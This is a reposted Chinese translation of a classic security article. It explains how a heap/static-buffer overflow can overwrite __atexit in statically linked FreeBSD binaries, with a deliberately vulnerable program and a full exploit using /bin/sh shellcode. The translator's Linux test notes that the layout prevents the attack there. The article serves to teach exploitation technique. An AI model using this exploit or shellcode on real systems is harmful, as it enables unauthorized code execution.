王朝网络
分享
 
 
 

通过覆盖__atexit进行缓冲区溢出攻击

王朝other·作者佚名  2006-01-08
宽屏版  字体: |||超大  

--静态编译版本的heap溢出

原作者: Pascal Bouchareine <pb@hert.org>

原文: <<__atexit in memory bugs -

specific proof of concept with statically linked binaries and heap overflows>>

翻译整理:alert7 <alert7@21cn.com>

主页: http://www.xfocus.org/

译者注:这片文章可能很早就出来了,我看国内也没有人介绍,干脆就

翻译出来一块儿共享吧,如有什么错误的地方,欢迎指正。

mailto:alert7@21cn.com

介绍:

本文讨论了类似通过覆盖.dtors进行缓冲区溢出攻击的技术。归根结底

是想方设法改变程序的执行流程,使之最终执行我们想要执行的代码。本文

假设读者熟悉普通的缓冲区溢出技术。

鸣谢:

感谢Andrew R. Reiter看了这片文档,纠正一些错误。

内容:

I. atexit()的基本知识

II. atexit()的执行

III. Exploitation的概念

IV. Eggshell的定位

V. 一个exploit的例子

I. atexit()基本知识

先让我们看看手册:

NAME

atexit - 注册一个在exit时候被调用的函数

SYNOPSIS

#include <stdlib.h>

int

atexit(void (*function)(void))

DESCRIPTION

atexit()函数注册一个给定的函数,该函数在程序exit时候被调用

(不管是通过exit(3)或者还是通过从程序的main函数中返回)。

注册的函数是反序被调用的;没有参数。至少32个函数总是可以被注册

的,只要有充分的分配的内存,更多的函数也是允许的。

看看下面程序的基本指令:

char *glob;

void test(void)

{

printf("%s", glob);

}

void main(void)

{

atexit(test);

glob = "Exiting.\n";

}

当执行时,应该在标准输出上显示"Exiting" .

II. atexit()的执行

atexit是做为libc函数导出的。

执行过程使用了一个静态的atexit结构,该结构包含了那些在退出时候被

调用的函数的一个数组,在调用atexit函数的时候会插入一个结构(我们

将称它为"fns"),在fns中有一个变量保存着下一个空的索引(我们称

它为"ind"),当fns满的时候,一个指针(我们称为next)指向了下一个

被使用的atexit结构.

struct atexit {

struct atexit *next; /* next in list */

int ind; /* next index in this table */

void (*fns[ATEXIT_SIZE])(); /* the table itself */

};

当atexit()被调用时,它填充fns[ind],增加ind,这时ind就是下一个在fns中空的索引。

当fns满的时候,一个新的atexit的结构被分配,并且它的next变量指向了最后

被使用的那个。

注意:一般atexit的使用的是不需要next的,它在初始化的时候被设置为

NULL。

当exit()被调用,它分析最后定义的atexit结构,并且执行在fns[ind]中的

函数,减少ind,依次执行。

当exit()被调用的时候,需要查看一些退出函数,然而,atexit()需要写它,

atexit结构被分配是做为一个全局符号的,(在*bds上是__atexit, 在linux上

是__exit_funcs), 并且导出给其他函数的。

译者注:如果你第一次读这片文章,你可能会忽视了atexit()和__atexit

(在*bds上是__atexit, 在linux上是__exit_funcs)的关系。

__atexit就是被atexit函数使用的一个内部变量,下面有个图指

示了atexit()如何利用__atexit的。

III. Exploitation的概念

这部分不是很准确。需要依靠执行时候的内存映象,依靠你的OS,还受许多

其他的因数的影响。

我们首先要知道__atexit在内存中的分配地址,判断那里是可以重写的地址。所以我

写了个简单的例子。

extern void * __atexit;

int main(void)

{

static char scbuf[128];

char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p\n", __atexit);

printf("malloced at %p\n", mabuf);

printf("static at %p\n", scbuf);

return 0;

}

编译一下,有以下的结果:

pb@nod [405]$ gcc -o at at.c

pb@nod [406]$ ./at

__atexit at 0x280e46a0

malloced at 0x804b000

static at 0x8049660

pb@nod [407]$ gcc -o at -static at.c

pb@nod [408]$ ./at

__atexit at 0x8052ea0

malloced at 0x8055000

static at 0x8052e20

以上已经足够说明问题了.可许你已经知道,动态编译的版本是通过一个

mmap()调用来装载libc库函数的。 (0x280e46a0)现在看起来是我们不能修改

的, 但是静态版本是可以的。

在静态编译的二进制中,libc被保存在程序的heap区,因此,__atexit的位置

在我们的静态scbuf附近。在这个例子中,__atexit和scbuf相差0x80个字节。

它意味着他们是位置连续的。如果你了解heap溢出,构造它应该不是件很难的

事情。

在静态的字符缓冲区后面构造自己的atexit结构,覆盖__atexit变量,可以使

exit()执行在内存中的任何地方。比如执行我们的eggshell。为了构造它,我

们需要明白atexit()是如何利用__atexit变量的,看下面类似gdb的输出:

0 127 128 132 136 140

(an eggshell with nops) (next) (ind) (fns[0]) (fns[1])

0x90909090 ..... 0x00000000 0x00000001 0xbffff870 0x00000000

for (p = __atexit; p; p = p->next)

for (n = p->ind; --n >= 0;)

(*p->fns[n])();

第一种方法你可以使'ind'为正值,比如上面图使ind为1,fns[0]为

eggshell的地址,但是这样构造出来的atexit结构中包含了'\0'。我

们没有办法使用。

第二种方法是使p->next指向一块我们精心构造的atexit结构的内存。

我们仅仅需要使ind为负的,可以不管fns的数组。

但是,我们到底如何找到那块空间呢?

IV. Eggshell的定位

我要为这件事干一两杯啤酒。

读了execue的手册和内核execve的执行过程,使我想起了我写的第一个

c语言程序。我们知道,argc是参数的个数,argv是以null结尾的数组

(包含了以null结尾的字符串),envp是环境变量。一个正在执行的程序

要得到这些信息是容易的。

因此,在stack的顶部,一个 "vector table" 包含了这些信息当然还包括一些

其他的(例如信号掩码)。让我们看看在stack上的argv的存放:

0xbfbffb60: 0x00000000 0x00000005 0xbfbffc5c 0xbfbffc84

0xbfbffb70: 0xbfbffc8a 0xbfbffc8f 0xbfbffc92 0x00000000

在该例子中,argc是5。有5个指针指向5个argv元素。最后一个是以NULL结尾的。

上面看到的,使你想起那个atexit结构了吗?:)

该图完美的描绘了atexit的结构!ind=5,argv[4]是被调用函数的地址。所有

的工作准备就绪,但是还差点。我们只要猜测在stack上的 vector table的

正确地址就可以了,在__atexit->next填上该地址,在__atexit->ind填上负的,

这样一切都OK了。

猜测argv[]的地址需要依靠你的OS。我看了一下/sys/kern/kern_exec.c,

读了一下这个函数:

/*

* Copy strings out to the new process address space, constructing

* new arg and env vector tables. Return a pointer to the base

* so that it can be used as the initial stack pointer.

*/

register_t *

exec_copyout_strings(imgp)

这个函数解释了如何计算argv的vector table地址,你的计算基于地址PS_STRING

(stack的基地址,less结构的ps_string大小),信号掩码的大小,"SPARE_USERSPACE"

这个变量在我的freebsd上被定义256(可能这个变量被setproctitle()函数使用),和一些

其他复杂的东西。

为了使用可移植的计算方法,我使用了下面自我调用的方法来执行argv[]。

首先,如果你要利用有问题的程序的话,你需要把条件都准备好。但是不能以

特殊的参数调用自己。在第二次调用时,argv应该正确的被定位,然后再调

用有问题的程序。

有了这两个技术,我想你应该有了一个高效率的缓冲区溢出的方法,而不再需要

计算offset了。

译者注:这种两次execve技术很不错,两次execve出来的进程的argv的地址是

一样的。所以就不需要猜测argv的地址了

注意:对于format bug来说,这个技术听起来很强大。__atexit在exploit中

经常位于victim的相同地址。我猜想这是因为mmap()分配地址是从固定的地址开始的。

正如一个传统的format bug,你有如下一个字符串"AAAA%N$x%0Xx%n",这里AAAA是

在你exploit中的__atexit的地址,N 是你想从重写地址到stack的字节个数。X是argv[]

的猜测地址。

[post note:事实上这些已经是众所周知的了,在phrack的杂志中有提到]

同理,对缓冲区溢出的exploit来说,你有一个容易得到的固定的返回地址:调用自己

--egg应该在安放在环境变量里-,然后调用victim egg的地址。

V. 一个Exploit的例子

Take the following vulnerable program :

extern void * __atexit;

int main(int argc, char **argv)

{

static char scbuf[128];

char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p\n", __atexit);

printf("malloced at %p\n", mabuf);

printf("static at %p\n", scbuf);

if (argc > 1)

strcpy(scbuf, argv[1]);

}

scbuf[]的大小为128.我们需要craft下面的字符串:

offset 0 128 132 136

[XXXXXXXXXXXX..........][AAAA][BBBB][0...]

128个字节的X垃圾,AAAA是猜测的argv地址,BBBB是一个负的数字

(0xffffffff就可以了),然后最后的字节都被填为0。

我们必须把eggshell作为最后一个参数传递给有问题的程序。

假如程序有严格的检查,我们讨论的东西工作起来就会很困难。我们在这里先不

讨论这个,以后有兴趣将做进一步的研究。

利用有问题程序,下面的exploit将产生一个shell:

--- expl.c -----------------8< (lazy indenting this. :) -------------

#include <stdio.h>

#define PROG "./vul"

#define HEAP_LEN 128

int main(int argc, char **argv)

{

char **env;

char **arg;

char heap_buf[150];

char eggshell[]= /* Mudge's */

"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

"\x9a\xe8\xc6\xff\xff\xff/bin/sh";

/* Craft the first part of the chain, pointing to argv[].

** We need, of course, a negative value for ind, or the real

** atexit default will be called.

*/

memset(heap_buf, 'A', HEAP_LEN);

*((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 * sizeof(int));

/*为了构造atexit结构*/

*((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;

*((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;

/*

** Build environnement. Argv[argc-1] is set to whatever

** eggshell you want. This, in a struct atexit context,

** will be executed by exit.

*/

env = (char **) malloc(sizeof(char *));

env[0] = 0;

arg = (char **) malloc(sizeof(char *) * 4);

arg[0] = (char *) malloc(strlen(PROG) + 1);

arg[1] = (char *) malloc(strlen(heap_buf) + 1);

arg[2] = (char *) malloc(strlen(eggshell) + 1);

arg[3] = 0;

strcpy(arg[0], PROG);

strcpy(arg[1], heap_buf);

strcpy(arg[2], eggshell);

if (argc > 1) {

fprintf(stderr, "Using argv %x\n", argv);

execve("./vul", arg, env);

} else {

execve(argv[0], arg, env);

}

}

-------- expl.c (eof)------------------------------------------

作者文章到此就结束了,以上作者是在freebsd测试的。

下面是我在red hat 6.0上面做的测试:

[alert7@ww alert7]$ uname -a

Linux ww.alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown

[alert7@ww alert7]$ cat vul.c

#include <stdlib.h>

extern void * __exit_funcs;

int main(int argc, char **argv)

{

static char scbuf[128];

char *mabuf;

mabuf = (char *) malloc(128);

printf("__exit_funcs at %p\n", __exit_funcs);

printf("malloced at %p\n", mabuf);

printf("static at %p\n", scbuf);

printf("mabuf at %p\n", &mabuf);

if (argc > 1)

strcpy(scbuf, argv[1]);

}

[alert7@ww alert7]$ gcc -o vul vul.c -static -g

[alert7@ww alert7]$ ./vul

__exit_funcs at 0x80778c0

malloced at 0x8079b60

static at 0x8078e40

mabuf at 0xbffffdc0

[alert7@ww 3779]$ cat maps

08048000-08077000 r-xp 00000000 03:01 14361 /home/alert7/vul

08077000-08079000 rw-p 0002e000 03:01 14361 /home/alert7/vul

08079000-0807a000 rwxp 00000000 00:00 0

40000000-40002000 rw-p 00000000 00:00 0

bffff000-c0000000 rwxp 00000000 00:00 0

在linux上,我们看到__exit_funcs地址是0x80778c0,可写。静态定义的scbuf的

地址为0x8078e40,__exit_funcs在scbuf之前,所以想利用scbuf来覆盖

__exit_funcs地址好象是不可能的吧。所以在linux上讨论利用__atexit进行

缓冲区溢出的攻击也是失去了意义。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
>>返回首页<<
推荐阅读
 
 
频道精选
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
© 2005- 王朝网络 版权所有